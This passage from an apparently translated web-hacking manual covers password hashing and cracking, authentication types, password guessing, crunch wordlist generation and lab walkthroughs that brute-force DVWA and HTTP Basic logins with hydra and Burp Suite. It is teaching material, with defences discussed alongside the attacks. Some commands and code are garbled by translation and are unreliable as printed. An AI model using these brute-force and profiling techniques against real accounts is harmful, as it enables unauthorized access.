$ git clone https://github.com/m4ll0k/takeover.git
$ cd takeover
The program can therefore be evoked with:

$ python takeover.py
Before we can start it we need a list from which to draw from the various subdomains. You can
download the "core" of the subdomains (subdomains.txt) by running:
$ wget
https://raw.githubusercontent.com/Hacklogit/hacklog2/master/examples/chapter5/subdomains.txt
then you will generate your own list by adding ".example.com" to the end of each line:
$ awk '$ 0 = $ 0 ".example.com"' subdomains.txt> test.txt
Finally you will launch the program
$ python takeover.py -l test.txt
We just have to wait for the program to resolve all subdomains [Figure
5.1].
Figure 5.1: It may take hours but who knows if it's not worth it?
6. ATTACKS TO
AUTHENTICATION
The authentication of a Web application plays a fundamental role in the security of a portal: in
fact it resides a principle of "certain" security, that is, once you have authenticated yourself, it is
no longer necessary to guarantee that the user is actually who he says he is.
The concept of authentication revolves around common elements that are easy to come across,
both constant and variable. Let's see them together:
Username and Password: the most popular form of authentication on the web, which
consists of a combination of Username and Password. This is entirely entrusted to the Web
Server or Web Application.
Authentication Services: authentication is handled by third parties. The user logs in to his
external account and, through the programming API, the web application is able to recognize
the user and therefore to authenticate him. Some services that can offer this tool are:
Google, Microsoft, Yahoo, Github, Facebook etc ...
Two-factor authentication: authentication can take place through username / password

that through third parties: through various storage techniques (for example through cookies
or user sessions) the server considers reliable that browser or program that has performed a
double authentication through the generation of external codes app (such as Authy or
Google Authenticator) or with alternative communication systems, including SMS or Email.
It is therefore important to keep in mind that, based on the type of login that will be presented
to us, it will be necessary to have all the elements that allow you to try its forcing. In addition to
these are added further variables that must be taken into account, namely:
Blocking attempts: Repeated attempts to attack an account could cause the account to
be temporarily blocked.
Times on attempts: Some systems have a minimum waiting time between one login
attempt and another, in order to avoid such automatic attacks
bruteforcing (chapter 6.2.4).
6.1 Password Storage on the Web
It is important that you adequately know a mechanism that is used in IT to perform many
operations, including saving passwords on a server: before talking about authentication, we will
briefly see how passwords travel in the great world of the WorldWide Web.
6.1.1 Hash, how to save passwords on the web

In computer science, and in any branch of mathematics, there are special functions called
HASH: these are used when it is necessary to hide the content of an information without
depending on other external factors (such as a symmetric encryption key).
I'll try to be clearer: given a value ( password) the hash function creates a result ( hash) through
a algorithm ( the set of mathematical functions that generate it). Some of these hash functions
are unidirectional: in practice we can generate a hash starting from a password but we cannot
get a password with just the hash.
What is all this for? Let me explain immediately: let's assume that the user Andrea types his
password on a site. The password will end up in a database, so technically it would be
readable by anyone, right? It could be seen by an operator (and in itself this is not very nice)
but also by a cyber-criminal (bad situation!).
Then you might think about encrypting passwords through one symmetric encryption ( such as
the Code of Caesar): it is a pity that these make use of keys that, inevitably, should be present
on the server software, or in the hands of some responsible. No, that's not okay either.
And the asymmetric encryption? Forget it, at least for now.
Through the hash function Instead we can take Andrea's password, encrypt it and put it on
the database in a few seconds: if an operator (or whoever takes his place) were to access the
database, he will only see the hash of the user password, not the plaintext password. And
there is no way -
theoretically speaking - that a good hash function can be decodable, except through brute
force attacks.
6.1.2 MD5, the hash history of the Web
Until a few years ago it was MD5 the hash reference function of the century (this before a new
version landed 100 of PHP). In the example where Andrea enters his password (eg: "foo") this
will be encrypted by the system in this way:
foo => 0c88028bf3aa6a6a143ed846f2be1ea4
If a cybercriminal were to have access to the database, he would find himself faced with a value
of 32 digits; this (theoretically, we will see later the cases of attack) would be useless if you
wanted to get the password clean (foo).
The web app will not even have to decrypt this value: if Andrea writes foo in the login form, the
web app will just run the MD5 function of what Andrea wrote and compare the value in the
database.
6.1.3 Rainbow Tables

The fact of being able to generate a hash starting from a value made it possible to devise a list
of words that would generate the equivalent: the set of hashes was thus grouped into huge
databases or files called Rainbow Tables. These are composed as follows:
Value Hash
to 0cc175b9c0f1b6a831c399e269772661
b 92eb5ffee6ae2fec3ad71c777531578f
c 4a8a08f09d37b73795649038408b5f33
d 8277e0910d750195b448797616e091ad
and so on, until the Rainbow Tables reach the defined limit.
Now, let's imagine a website is hacked and the database containing the users table has been
obtained 101 , this could look something like this:
ID username password other sensitive data
1 admin bed128365216c019988915ed3add75fb ...
2 James 090ad5245178c11a123207f6400034b6 ...

3 antonio f719dcc5936750306e87b96770bb817d ...
4 simone 122c82fc34a23d553fb165ee4f0120f9 ...
Using decrypt tools that make use of Rainbow Tables such as Hashcat or dedicated websites
(which you will find at the bottom) we will find that the passwords of IDs 1,2 and 4 will be easily
crackable, as they use simple terms to search:
ID username MD5 Cleartext
1 admin bed128365216c019988915ed3add75fb passw0rd
2 James 090ad5245178c11a123207f6400034b6 ciaone
3 antonio f719dcc5936750306e87b96770bb817d * UNDECIFRABLE *
4 simone 122c82fc34a23d553fb165ee4f0120f9 aloha!
You can run your tests using Hashcat (already present in many distros designed for Pentest)
by generating the related rainbow tables - a topic that we will not cover as it is now obsolete -
or by using online tools such as:
http://md5decrypt.net/
https://www.md5online.org/
https://hashkiller.co.uk/md5-decrypter.aspx
https://crackstation.net/
http://www.cmd5.org/
https://md5hashing.net/hash/md5/
However, note that ID 3 has not been cracked: this is because the corresponding password
(rwGDFJoiwrtjdsfkgpo% kl2po2! 2klasd) is too complex to be generated quickly and in terms of
adequate space and time.
6.1.4 MD5 security and other weak hashes
It is important to remember that MD5, SHA and so on are just functions that generate
"unusable" values but, as we have seen, there is a good chance that simple passwords will
be cracked. In addition to the possible violation of a database it must be remembered that, if
the web portal does not offer an HTTPS protocol 102 , it is possible to intercept information
traveling on the network through attacks of different types (such as the famous Man in the
Middle 103 ).
6.1.5 Salt Password

Many portals make use of minimal passwords, forcing special characters and a good mix of
variables to make hash decrypting more difficult. To complete the work, many of the web apps
have integrated Salt, a particular alphanumeric string (usually difficult to generate) that "hooks"
to the password that the user provides.
Assuming that this is "kfpweEkfl% p3 / pt", when the user provides the password (eg: ciaone)
this will connect to the Salt, thus becoming:
kfpweEkfl% p3 / ptciaone
which in MD5 will result:
de43a25ea9fa94d3b0bbc87a35ae7f76
A difficult result to obtain from common rainbow tables 104 and which will add additional security
to the encrypted password in the database. It should be known that salt is usually not present
in the site database (in this case the cybercriminal could force the generation of passwords
starting from this salt) but rather in the configuration files of the web app (usually in a file called
config.php or similar ) and would require the cyber criminal to obtain this file, a decidedly not
easy operation if the web platform is not entirely violated.
6.1.6 Bcrypt
Everything we discussed in previous chapters today is nothing more than a memory: MD5 (and
the various SHA1, SHA256 and easily generated hashes) have been replaced by Bcrypt,
currently the hash function with the best security / speed ratio on the web. This hash function is
now recommended and replaces simple hash functions, as well as being slower to generate.
If you have followed the world of cryptocurrencies, and in particular mining, you probably know
how important it is to generate them through the GPU (video card) rather than through the
CPU (processor): bcrypt, in this respect, makes hash generation limited and in practice
unusable with the Rainbow Tables concept (chapter 6.1.3).
The Bcrypt algorithm 105 today it integrates salt, performs multiple coding iterations, is
cross-platform and is integrated in the most popular frameworks and in the web language par
excellence (PHP) since its latest versions. This translates into an annihilation of the risks
regarding the Rainbow Tables on the hashes in use, while still exposing old web infrastructures
to attacks of this type, albeit in an increasingly mild form.
6.2 How do users authenticate?

Let's repeat again what authentication is for: with it it is possible to verify that a user has the
permission to perform various types of operations only if he is in possession of the established
access credentials. But what are the methods used to ask for these passwords? Obviously
through the Login (more precisely the Login Form). There are mainly two types:
HTTP authentication is Web App authentication.
6.2.1 HTTP Authentication

The login based on the HTTP protocol is shown as a browser pop-up: this type of login is in
fact integrated into web browsers and requires little knowledge to be used effectively on a
portal.
It does not require the design of cookies, session ids or login pages: more
it simply requires no programming knowledge. The entire authentication process is managed
by the Web Server: if on the one hand this allows for simple installation, on the other hand the
limited configuration made possible makes it preferable only to controlled environments (such
as test portals or where only a few authorized people need to access) ; on some occasions it is
used as an additional security tool to the normal Web App login. In open environments (such
as forums, social networks and so on) it is very rare to find.
In turn, HTTP Authentication is managed through two sub-systems: HTTP Basic Authentication
and HTTP Digest Authentication.
6.2.1.1 HTTP BASIC AUTHENTICATION
In its basic form, HTTP authentication is precisely defined HTTP Basic Authentication: more
simply it means that, given a list of credentials present in a file (encoded in base64 106 ), the user
who wants to log in will have to enter the corresponding data in this file.
Some projects internal and external to Web Servers offer different hashes: Base64 is
supported by default, however other models are also supported, such as bcrypt. As you will
remember, bcrypt is the safest system yet many web servers save passwords in BASE64: this
type of encryption (in reality it is only an encoding process and nothing is encrypted) is
reversible and allows you to know the content of the passwords starting from hash value.
Each Web Server manages an HTTP authentication according to its own needs: taking for
example an Apache Web Server (the most common and popular), the HTTP BA login structure
is composed of two files:
. htpasswd: the credentials are saved in this file
. htaccess: in this file there are directives that tell the client how authentication is
established and what is the file (.htpasswd) from which to get the information
Within these files we can find content similar to the following:

File
. htaccess AuthType Basic

AuthName "Hacklog Admin Panel"
AuthUserFile /path/to/.htpasswd
Require valid-user
. htpasswd murdercode: $ apr1 $ FGQdJALB $ 17gTTIUNPoz1VbyFpwwnB0
In this situation, the .htaccess requires authentication (Basic) with the name "Hacklog Admin
Panel", the credentials are saved in "/path/to/.htpasswd" and if they are not compiled the server will
report an error. The credentials (username "murdercode" and password "qwerty") are saved in
base64 on the .htpasswd file
.
On the whole, here's how a normal HTTP BA request will behave:
USER -> WEB SERVER -> SEARCH .HTACCESS -> ASK THE USER FOR PASSWORD -> IF IT IS PRESENT IN
.HTPASSWD ACCESSES
It is important that the Web Server offers an HTTPS connection: basic authentication
(HTTPBA) encrypts the server-side passwords in BASE64 but does not encrypt the data
exchange that occurs at each request. In an HTTP environment, a cybercriminal could listen to
the connection (Man-In-The-Middle) and very easily extract the authentication information and
perform a Replay Attack.
At this point the user will be able to move within the directory where the directory is present
and in all other subdirectories.
We can verify this situation by creating in the machine victim the two files containing the
authentication instructions:
$ nano /var/www/html/vuln/.htaccess
whose content will be (or adding to the end of the file, if we are following the guide with DVWA
installed):
AuthType Basic
AuthName "Hacklog Admin Panel"
AuthUserFile /var/www/html/vuln/.htpasswd
Require valid-user
and we will create the file that will contain the credentials instead:
$ nano /var/www/html/vuln/.htpasswd
adding:
murdercode: $ apr1 $ FGQdJALB $ 17gTTIUNPoz1VbyFpwwnB0
Do you want to generate your own password? You find many sites that can do this (look for
htpasswd generator). My favorite is definitely
http://www.htaccesstools.com/htpasswd-generator/
At this point we will be able to access the DVWA login only if we first entered the credentials in
HTTP Basic Auth [Figure 6.1].
Figure 6.1: In addition to the DVWA login, we will be asked to perform an HTTP Basic login
Authentication.
6.2.1.2 HTTP DIGEST AUTHENTICATION

Before HTTPS became a full-fledged reality, it was still necessary to create a safer method to
defend information: if the connection is not encrypted, the risk that data can be intercepted (by
monitoring the active connection or within the cache) is high.
Authentication was devised to take action Digest 107 , a model that provides for the sending of
the credentials encoded in Hash: in order to proceed with the explanation of the latter it is
necessary that you know the hash functions. Without going into too much, we can say that the
operation is similar to HTTP BA, but using an authentication scheme based on encryption
rather than encryption: for the purposes of this manual it is not important to know which is the
most suitable - after all we are talking about attacks mainly based on connectivity and not on
the web - and therefore if you would like to learn more about the subject we invite you to
search for the dedicated documentation 108 .
6.2.2 Web App Authentication

A much more difficult approach to implement and which requires programming skills is given
by designing a Web App-based authentication system. This means that it will not be the Web
Server (Apache, Nginx, IIS
and so on) to understand who you are, but rather the program (Web App) created by the
programmer and loaded on the Server. We see a classic example of a Web App login on DVWA
[Figure 6.2].
Figure 6.2: A login Web App is designed and managed by the programmer
To be clear, let's take a classic Wordpress: the login is managed by the Web App which will be
connected to a database and from which it will draw the necessary information (such as
credentials). The web app will always read the data entered in the login form, compare them
with what is present and, if all goes well, give you the opportunity to access the functions
reserved for registered users. To avoid "forgetting" which user you are usually a session will be
created (Chapter 3.5.3.5) or more commonly a cookie (Chapter 3.5.3.4).
Thanks to the management via web app we are also allowed to establish the permissions and
functions dedicated to a particular user: he will obviously have different tools and "powers" from
a moderator, just as a different publisher has them from an administrator. These structures are
always defined by the web app and it is from there that all the authentication processes pass.
6.2.2.1 AUTHENTICATION MODELS

Unlike HTTP Authentication, Web App authentication does not have a precise scheme: it is
usually the programmer who determines how the credentials must be treated and compared
with an internal database 109 .
However, we can establish at least three broad categories to get a picture

clearer:
1) The web app uses "love" designed authentication schemes
2) The web app uses authentication schemes provided by framework 110
3) The web app uses external authentication schemes such as Google or Facebook.
In the first case it is possible that the web application has been specifically designed for the
needs of the portal; sometimes this is ideal for highly controlled environments, test
applications, or sandboxes 111 and sometimes for Sunday programmers. In this category we
clearly find easily applicable web attacks, such as SQL Injection (chapter 8.3).
In the event that authentication is managed through a development framework (such as

Lavarel, CodeIgniter, Zend and many others), the presence of code-level vulnerabilities will be
decidedly limited and dependent more on the version and model in use rather than on the skills
of the programmer.
In the third and last case, the authentication is proprietary: it is the external service that
authenticates the user and then releases to the web application the codes that it will use to
ensure that it can actually perform certain actions.
6.2.3 Password Guessing

Now I'll tell you a story, one of the many that in 10 years of working in the IT field I happened to
live. Like many technicians / sysadmin / programmers you are asked to do some work in the
company that needs you: then you pull cables, reconfigure the hardware firewall, reprogram all
security policies, make sure the NAS makes the correct backups, maybe while you're at it, for
security, give a scan to the various terminals with the antivirus installed while you wait for the
internal Server to finish configuring.
In short, you think to yourself: "ah, however, they know how to do it!" until you are presented
with a Login Terminal and ask the owner / manager "Excuse me, what is the password to
access
this computer? ”, when he replies with a certain nonchalance“ it's easy, it's 123456 ”. You stay
there, between the incredulous and the petrified, a slow shiver runs behind your back and you
begin to wonder "are they really so crazy?". Then try. SBAM, you are Administrator.
At first, I'll be honest, I didn't think there were so many: then with the increase of work and
experience I realized one thing: users hate remembering, and above all writing, passwords.
Among other things, this rule applies to everything that requires a password: the PIN of a
smartphone, the access panel to the Wi-Fi network, the email password and so on.
Based on the logic of what has already been said in the profiling phase, it is important to know
how lazy a user can be or unable to understand that a complex password is essential to
guarantee adequate security (you will soon understand why this statement). Before extracting
some magic program from the cylinder, a series of password security tests should be carried
out: first of all, they are based on two types: default passwords and “lazy” passwords.
DEMO simulation
The Default Password, that is the standard password provided by the supplier of a service or
product, is certainly the least popular in the "classic" Web environment, as it is provided when
a system is started that is not yet functional. In fact, it is more likely to come across default
passwords with generic consumer products (Wi-Fi routers, network printers, IoT devices etc ...)
rather than network services - and in a sense the Web, also due to continuous attacks, it is
definitely more mature than the local device market.
For this kind of password, we recommend the use of specific databases: one we recommend is
certainly that of CIRT.net (https://cirt.net/passwords), which is very well supplied in this
respect.
Attack: Password "Lazy"

DEMO simulation
We define Password "Lazy" all those passwords created by sysadmin or those responsible for
devices and computer networks created using simple elements obtained from the OSINT
(Chapter 4.6): in this category we find consequential numbers and codes, dates of birth, mobile
numbers, social security codes or VAT number, company name or family members.
Below we list a summary table of the main passwords to facilitate the creation of customized
schemes for each reality:
Password model Example
Consequential characters qwerty, 123456, abc123, 987654321
Same as Username admin, [username]
Common Words welcome, password, guest, demo, trial, test
Common words in l33t format password1, iloveyou, princess, Password123, test,

p4 $$ w0rd
Date of birth 01011980, 010180, 01/01/1980, 01-01-1980
Birth place [city name]

Names of Relatives [name of relatives] (often companions or children) [tax code],
Personal codes [telephone number], [VAT number]
This is one of the many reasons why it is always recommended to use complex and different
passwords; the attacker could perform manual password tests (even before using dedicated
tools) or build password lists (chapter 6.2.4.2) specifically built on the victim's profile.
Attack: Password Recovery

DEMO simulation
Some Web Apps allow users to reset the password by following various procedures, among
these we point out:
Retrieval by replying to a security question
Recovery through a sent recovery code by email
Recovery through a recovery code via SMS
Recovery through backup keys
Other internal recovery systems (modification of an administrator, internal recovery

procedures, procedures based on forms, recovery procedures on recognition through
documents, etc ...)
Of these methods, only the first does not offer adequate security to the user: this is caused by
the fact that often the information compiled during registration (on the questions and answers
proposed) refers to information that can be retrieved through OSINT (see chapter 4.6) or
Password Lazy (previous chapter). In particular, Social Networking tools (see Facebook in the
first place) allow you to know information that can be easily extrapolated from the questions
that are trivially proposed to the user (The name of your pet, the street in which you were born,
the name of your best friend and so on Street).
Given the lack of a real standard or paradigm regarding Questions and Answers (each Web
App integrates and interprets this functionality in its own way) it is impossible to identify certain
and reliable methods, therefore we will not go into this paragraph further.

DEMO simulation
Following a cyber attack it is likely that the cybercriminal (s) will perform a dump of the
database: when this happens it is very likely that the user fields containing the passwords are
present in it. While the new security specifications may (by much but not fully limit) these kinds
of risks, it's important to know that the risk of this happening is much more likely than you think.
Just look at websites like HaveIBeenPwned to understand the extent of the "damage" to a specific
email address. Some sites (which we will not publish for ethical reasons) even offer clean
passwords 112 in exchange for payments, sometimes anonymous but also unreliable.
Try yourself to check if your email address is present in one of these dump aggregators:
https://haveibeenpwned.com/
https://www.dehashed.com/
https://databases.today/
https://www.inoitsu.com/
Defence: Password Guessing

DEMO simulation
Clearly the most effective countermeasure to defend against Password Guessing is a stringent
password policy that can be used by the user. Make sure that your portal (but whatever
terminal you manage) has the right number of minimum characters to use and that there are
"strong" patterns such as the obligation to use uppercase, lowercase, numbers and special
characters.
We also advise you not to use the same password for all sites or systems: if one of these is
attacked, your password - or that of your colleagues, employees and managers - may also be
present in reality concerning you personally. We recommend the use of extensions and
programs to make it easier for you to memorize your passwords such as:
https://www.lastpass.com/it
https://keepass.info/
https://bitwarden.com/
https://1password.com/
6.2.4 Brute Force Attacks

Considering the amount of passwords that can be generated (the previous list is just a taste of
what can be found) it is unthinkable to test them manually: for this reason there are specially
designed programs able to test the effective resolution of a login by drawing from two models:
and Dictionary Attack.
6.2.4.1 BRUTEFORCING
We speak of Bruteforcing (or Brute Force Attack) when a program tries, through the generation
of consecutive values, to determine the existence of a password. This is generally the slowest
process and depends on the length of the password: the longer it is, the longer it will take to
find it.
To give a trivial example, bruteforcing will verify the veracity of a password by generating one
by one in this way:
1) I generate a password with every existing character:

a, b, c, d, e ... 1,2,3,4,5 ...! "£ $% & / ...
2) If the password does not exist, I add a character: aa, ab, ac, ad ... a1,
a2, a3, a4, a5 ... a! A "a £ a $ a% a & ...
3) If the password does not exist, I change the previous character: ba, bb, bc, bd, be ... b1,
b2, b3, b4, b5 ... b! B "b £ b $ b% b & b /. ..
4) If the password does not exist, I start with a new character: aaa, aab, aac ... aa1,
aa2, aaa3 ... and so on
As you may have guessed, the bruteforcing process can be hypothetically infinite: just think
that if a 5-character password (with an average of
500,000 passwords generated per second and all variants of punctuation, numbers, capital
letters and symbols) takes just 5 hours, a password with 1 extra character would take at least
19 days. Some of the more passwords
common ones require at least 8 characters with at least one capital letter and a number: even
in the best case (500,000 passwords per second) the system would take about 15 years 113 .
15 years? So is Bruteforcing useless?

No, it is not, but in the meantime we need to specify at least a couple of points. First we
consider the passwords / second: in our calculation we considered 500,000 pwd / sec,
however it is unlikely that there are Web portals capable of guaranteeing a speed and stability
of response with these numbers. Even in the best case, using an HTTP Login system and Web
App we will not be able to generate more than 100 passwords per second 114 , drastically
increasing these values.
Secondly, we have the security "policy": we will hardly find a "forcing" on the use of complex
passwords in the HTTP login, while they will almost certainly be applied at the Web App level.
These numbers are purely statistical and may not represent the reality of the above.
6.2.4.2 DICTIONARY ATTACK

As we have seen with Bruteforcing it takes a huge time to test all the passwords: moreover, on
the order of large numbers, the generation of the password (which in human times are
imperceptible and on the order of a few nano-seconds) can be a deterrent for those who want
to carry out attacks of this type.
To overcome these problems there is a method, always based on forcing by attempts, which
makes use of dictionaries: these contain values, often common words or passwords, in text or
database formats.
It is estimated that a dictionary attack (which is not blocked due to excessive attempts) has a
success of 4 times out of 10, a very high percentage and that does not require special skills in
the field of Security or Programming in general.
LAB: Basic Password List Generation

LAB simulation; Tool: crunch
Among the many tools at our disposal we prefer to use crunch, a small but very powerful
program that allows us to define specifics of how the dictionary should be composed.
The preference reserved for crunch is given only and exclusively by its immediacy of use
aimed at study purposes: if you have the real need to create Password List we recommend
that you read up on the use of hashcat, better from every point of view and able to support
hashes, GPUs, and more.
First let's create a Dictionary List, so let's call the "crunch" command and give it some basic
parameters:
$ crunch 4 6 1234567890 -o $ HOME / passwordlist.lst
In this way we have generated a file of about 7MB, containing a range of passwords from a
minimum of 4 characters to a maximum of 6 using the charset 115 numeric; finally we have
generated a file (-o) inside the folder of our user ($ HOME) called passwordlist.lst.
For convenience, let's review the structure of the parameters that the program is able to process:
$ crunch <min> <max> <charset> (-t <pattern>) -o <outputfile>
The in-depth specifications are described in both the program help and the manual:
$ crunch -h or man crunch
Please, don't overdo the values (especially with the max)! Overdoing it you could generate
really huge files and you would have serious problems of instability with the Operating System.
In case you need to kill the process, the escape command is always CTRL + C.
LAB: Advanced Password List Generation

LAB simulation; Tool: crunch
As we saw earlier, crunch can handle pattern so as to be able to specify passwords containing
variables collected during profiling. For example, if we wanted to generate a password starting
from the date of birth of a potential victim (for example 01 January 1980) we can give
feed the string "010180" or "01011980" to the program. Remember to use the wildcard (@) a
special symbol that defines the maximum number of spaces that can be used by the program,
while you must specify the string (eg: 010180) defining it in the program. Let's see an example:
$ crunch 10 10 -t @@@@ 010180 -o $ HOME / birthlist.lst
So let's run the cat $ HOME / birthlist.lst command to quickly see what was generated:
$ cat $ HOME / birthlist.lst
aaaa010180
aaab010180
aaac010180
aaad010180
aaae010180
aaaf010180
aaag010180
etc ...
This way we start having a personalized password list based on the victim and, trust me, that's
no small feat.
We conclude this brief experience by also talking about Charset: before we specified it inline 116
but we can also specify it by drawing from a
file often here I'm in following path:
/usr/share/rainbowcrack/charset.txt
Let's first see the contents of the following file:

$ cat /usr/share/rainbowcrack/charset.txt
numeric = [0123456789]
alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
loweralpha = [abcdefghijklmnopqrstuvwxyz]
loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]
mixalpha =
[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-numeric =
[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
ascii-32-95 = [! "# $% & '() * +, -. / 0123456789:; <=>?

@ABCDEFGHIJKLMNOPQRSTUVWXYZ [\] ^ _ `abcdefghijklmnopqrstuvwxyz {|} ~]
ascii-32-65-123-4 = [! "# $% & '() * +, -. / 0123456789:; <=>?

@ABCDEFGHIJKLMNOPQRSTUVWXYZ [\] ^ _ `{|} ~]
alpha-numeric-symbol32-space =
[ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789! @ # $% ^ & * () -_ + = ~ `[] {} | \ :;" '<>,.? /]
As you can see at the beginning of each line we have the name of the charset (ex: numeric)
followed by the usable expression. When we go to specify the charset from our command (through
the -f parameter) we will have to specify both the path of this file
(/usr/share/rainbowcrack/charset.txt) and the name of the charset (for example mixalpha-numeric).
The command will translate as follows:
$ crunch 4 4 -f /usr/share/rainbowcrack/charset.txt mixalpha- numeric -o $ HOME / mixalphapass.lst
Having trouble finding the charset.txt file? No problem, you can copy-paste the charset you
need (or re-type it by hand) directly during the command invocation.
Feel free to test the necessary combos (especially with the specified patterns) and create password
lists that you can test on the security of your machines!
6.2.5 LAB: Bruteforcing
In this test we will carry out an attack against an HTTP authentication system. The difficulty, as
we will see, does not depend on the abilities of the cyber-criminal, but on the length and
complexity of the password used to protect the environment of the web app.
Attack: Bruteforce HTTP Auth

Victim simulation; Tool: crunch, hydra
From the car attacker let's create the environment in which to create our password lists:
$ mkdir $ HOME / hacklog /
$ mkdir $ HOME / hacklog / bruteforce
$ cd $ HOME / hacklog / bruteforce
At this point we could generate the passwords:

$ crunch 6 8 -f /usr/share/rainbowcrack/charset.txt loweralpha -o pass.lst
Since it will most likely take hours, we'll get a dictionary list online, so let's quit crunch (CTRL +
C) and download a list of common passwords on the net instead. 117 :
$ wget -O $ HOME / hacklog / bruteforce / pass.lst

https://pastebin.com/raw/yGr4JjhD
Now let's run the hydra command:

$ hydra -l murdercode -P pass.lst -s 80 -f 20.0.0.3 http-get / vuln
If we have done everything to the letter (including the .htaccess configuration) we will receive
the result of the password found [Figure 6.3].
Figure 6.3: in a few seconds the password will be shown directly on the terminal.
Defence: Bruteforce HTTP Auth
DEMO simulation
Generally an attack carried on HTTP Auth can be mitigated through a module in the webserver
(for example ModSecurity): the defense approaches are limited to:
Block by IP
User name lock Password
lock
All blocks refer to a retry threshold which, once reached, blocks the reference attribute seen
above.
If you decide to apply a bruteforce HTTP Auth mitigation, you can refer to well-documented
online guides 118 , able to provide suitable configurations for each type of version. In any case,
HTTP Auth is to be considered outdated and can be easily replaced by an authentication
system based on the Web App.
6.2.6 LAB: Bruteforcing Web

In this test we will carry out an attack against an authentication system based on an HTML
form. To avoid confusion, we will disable HTTP Auth with the command:
$ nano /var/www/html/vuln/.htaccess
and comment (using #) or remove the lines that force HTTP authentication. We save (CTRL +
X, S and ENTER) then log in to the panel with:
username: user
password: password
This login has nothing to do with the "Brute Force" test that we will see shortly; in the test we
are going to force the 5 accounts in the database, that is:
admin
gordonb
1337
pablo
smithy
Attack: Bruteforce Web Form " Low "
DVWA simulation; Tool: Burp Suite
Let's first consider the source code of the web app: this does not provide any type of control,
therefore it is possible to enter as many data as we want, the application will manage them all,
from the first to the last [Code 5.1]. If the login is correct, "Welcome to the password protected
area."
..."
Remember that you can always read the source code of the DVWA page by clicking on the
"View Source" button at the bottom right of the Lab test page.
Code 5.1
<? php
if (isset ( $ _GET [ 'Login' ])) {
// Get username
$ user = $ _GET [ 'username' ];
// Get password
$ pass = $ _GET [ 'password' ];
$ pass = md5 ( $ pass );
// Check the database
$ query = "SELECT * FROM` users` WHERE user = '$ user' AND password = '$ pass'; "
http: //victim/vuln/vulnerabilities/view_source.php? id = brute & security = low
The attack first involves the presence of a password list. If you haven't followed the previous
lab, get one (or generate it, see chapter 6.2.4.2) and save it in any folder:
$ wget -O $ HOME / hacklog / bruteforce / pass.lst

https://pastebin.com/raw/yGr4JjhD
The following attack can also be delivered through hydra or other tool ins
CLI, however the LAB requires the user to be logged in (the test page yes
reaches only after login). This requires the user to know how to replicate a session ID, a topic
that we have not yet addressed.
We will therefore solve the LAB through Burp Suite 119 : this will allow us not only to facilitate our
work but also to learn about one of the reference tools of this world.
From the car attacker log in on the URL http: // victim / vuln, then head to the "Brute Force"
test page. By filling in the login form with any data, this will generate an HTTP request followed
by a response: from the HTTP history (below " Proxy -> HTTP History ") we will be able to see
all the HTTP requests made by our browser, obviously including the Login attempt [Figure 6.4].
Figure 6.4: The action just performed was captured by Burp Suite
By right clicking (or combination CTRL + I) we can send this HTTP request to the form Intruder:
the following module allows us to generate HTTP requests similar to the one already made, but
modifying the request values (GET) by specifying new values (and thus apply the password
list).
Then click on the tab Intruder, then on the sub-tab " Positions ": here we empty the
highlighted values (key Clear), let's highlight the values we want to manipulate and add them
to generate the Payload ( key Add).
Finally, let's make sure that the attack type ( Attack Type) is set to
" Cluster bomb "[ Figure 6.5].
Figure 6.5: We properly configure the variables for the Intruder module
Let's move now to the Payloads sub-tab and let's define the two variables: we can select them
under the heading "Payload set".
Payload set 1: here the first highlighted variable is taken ( username),

then - assuming a good enumeration of users - let's enter the usernames in the test input,
then click Add [ Figure
6.6]. We remind you once again the usernames we intend to crack:
admin
gordonb
1337
pablo
smithy
Payload set 2: here the second highlighted variable (password) is taken, then - the value
not known - let's load the previously downloaded pass.lst by clicking on the "Load" button
[Figure 6.7]
We are ready to launch the attack: click on the " Start Attack " in the top right and the attack will
start making its HTTP requests. We can monitor the situation by sorting the results by length ( Length)
of the answer: the incorrect results will have an equal answer (and therefore an equal
dimension), a correct result will have a different answer (and therefore a different dimension)
[Figure 6.8].
The value Lenght however, it is not the definitive proof: to be sure of this, let's access the " Response
"( the HTTP response), then for example to the sub-tab "HTML" and we look for portions of
HTML code that confirm what happened [Figure 6.9]: we should find a message that says
"Welcome to the password protected area XXX". Bingo! The attack was successful!
Figure 6.6: Configuration of the first "username" variable. We insert "user"

Figure 6.7: Configuration of the second "password" variable. We load "pass.lst"
Figure 6.8: The dimensions change because the HTML result changes
Figure 6.9: We highlight a result, then check the response between the Raw, Headers and
HTML!
Attack: Bruteforce Web Form " Medium "

Victim simulation; Tool: Burp Suite
Attack at "Medium" level is very similar to "Low" level. In fact, in this phase Bruteforce attacks
are allowed with two differences:
1) A protection against SQL Injection attacks has been integrated (which we will see in chapter 8.3)
2) A timeout function has been integrated
Regarding the latter, we find the sleep () function that blocks any subsequent attempt to the
failed one for 2 seconds [Code 5.2].
Code 5.2
if ( $ result && mysqli_num_rows ( $ result ) == 1 ) {
// Get users details

$ row = mysqli_fetch_assoc ( $ result );
$ avatar = $ row [ "avatar" ];
// Login successful echo "
<p> Welcome to the password protected area {$ user} </p> " ;
echo "<img src = \" {$ avatar} \ "/>" ;

} else {
// Login failed
sleep ( 2 );
echo "<pre> <br /> Username and / or password incorrect. </pre>" ;
http: //victim/vuln/vulnerabilities/view_source.php?
id = brute & security = medium
It is therefore possible to carry out the exact same attack seen at the Low level, but modifying
the parameter of Timeout: you can define it under the tab "Timeout -> Options", then set the
value " Pause before retry (milliseconds) "[ Figure 6.10]. Note that this value may already be set
to 2000 (milliseconds), however you may reduce it if a web app does not check the timeout (as
in the Medium level).
Figure 6.10: Intruder can be modified by specifying the time between attempts
Attack: Bruteforce Web Form " High "
Victim simulation; Tool: Burp Suite
This attack phase provides protection Anti-CSRF Token: the subject will be treated later,
however we can already anticipate something. First let's consider the web app code [Code
5.3].
Code 5.3
<? php
if (isset ( $ _GET [ 'Login' ])) {
// Check Anti-CSRF token
checkToken ( $ _REQUEST [ 'user_token' ], $ _SESSION [ 'session_token'
id = brute & security = high
The Anti-CSRF Token is a "code" generated on each page: as mentioned at the beginning of
this LAB we have chosen Burp Suite to use the cookies and session IDs that are generated
after authentication. By making a first HTTP login request, these values are generated and so
we can replicate the exact same request by changing only the username and password values.
This time, however, the session token is generated at each request, making the previous one
expire: then we can no longer replicate the same, identical request, but we will also have to
generate a session ID each time and feed it to Burp Suite.
